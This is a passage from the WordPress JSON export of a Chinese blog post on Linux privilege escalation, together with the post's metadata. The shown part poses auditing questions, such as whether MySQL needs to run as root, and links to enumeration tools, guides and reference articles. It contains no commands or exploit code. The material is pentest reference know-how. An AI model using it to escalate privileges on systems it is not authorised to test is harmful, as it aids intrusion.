#333332;\">\u670d\u52a1\u8fd0\u884c\u6240\u9700\u7684\u6700\u4f4e\u7684\u6743\u9650\uff1f<\/p>\n<p style=\"color: #333332;\">\u4f8b\u5982\uff0c\u4f60\u9700\u8981\u4ee5root\u8eab\u4efd\u8fd0\u884cMySQL\uff1f<\/p>\n<p style=\"color: #333332;\">\u80fd\u591f\u4ece\u4ee5\u4e0b\u7f51\u7ad9\u627e\u5230\u81ea\u52a8\u8fd0\u884c\u7684\u811a\u672c\uff1f\uff01<\/p>\n<p style=\"color: #333332;\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"qXBMtFQmPJ\"><p><a href=\"https:\/\/pentestmonkey.net\/tools\/audit\/unix-privesc-check\">unix-privesc-check<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;unix-privesc-check&#8221; &#8212; pentestmonkey\" src=\"https:\/\/pentestmonkey.net\/tools\/audit\/unix-privesc-check\/embed#?secret=woiXNlaWfm#?secret=qXBMtFQmPJ\" data-secret=\"qXBMtFQmPJ\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p style=\"color: #333332;\">http:\/\/labs.portcullis.co.uk\/application\/enum4linux\/<\/p>\n<p style=\"color: #333332;\">http:\/\/bastille-linux.sourceforge.net<\/p>\n<p>\uff08\u5feb\u901f\uff09\u6307\u5357\u548c\u94fe\u63a5<\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u4f8b\u5982<\/strong><\/p>\n<p style=\"color: #333332;\">http:\/\/www.0daysecurity.com\/penetration-testing\/enumeration.html<\/p>\n<p style=\"color: #333332;\">http:\/\/www.microloft.co.uk\/hacking\/hacking3.htm<\/p>\n<p style=\"color: #333332;\"><strong style=\"font-style: inherit;\">\u5176\u4ed6<\/strong><\/p>\n<p style=\"color: #333332;\">http:\/\/jon.oberheide.org\/files\/stackjacking-infiltrate11.pdf<\/p>\n<p style=\"color: #333332;\">http:\/\/pentest.cryptocity.net\/files\/clientsides\/post_exploitation_fall09.pdf<\/p>\n<p style=\"color: #333332;\">http:\/\/insidetrust.blogspot.com\/2011\/04\/quick-guide-to-linux-privilege.html<\/p>\n<h5 style=\"color: #333332;\">\u53c2\u8003\u94fe\u63a5<\/h5>\n<ul>\n<li><a href=\"http:\/\/blog.g0tmi1k.com\/2011\/08\/basic-linux-privilege-escalation\/\" target=\"_blank\">http:\/\/blog.g0tmi1k.com\/2011\/08\/basic-linux-privilege-escalation\/<\/a><\/li>\n<li><a href=\"http:\/\/www.91ri.org\/7459.html\" target=\"_blank\">http:\/\/www.91ri.org\/7459.html<\/a><\/li>\n<li><a href=\"http:\/\/www.freebuf.com\/articles\/system\/23993.html\" target=\"_blank\">http:\/\/www.freebuf.com\/articles\/system\/23993.html<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u5148\u63d0\u524d\u8bf4\u4e00\u53e5\uff1a\u6587\u7ae0\u662f\u5f88\u65e9\u4e4b\u524d\u5c31\u770b\u5230\u7684\uff0c\u5728Freebuf.com\/91Ri.org\u7b49\u7f51\u7ad9\u4e0a\u90fd\u6709\u770b\u5230\u8fc7\uff0c\u8fd9\u65f6\u653e\u5728\u8fd9 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,11,25,12],"tags":[30,37],"class_list":["post-770","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-linux","category-security","category-tools","tag-linux","tag-security"],"views":11316,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/770","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=770"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/770\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=770"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=770"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=770"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}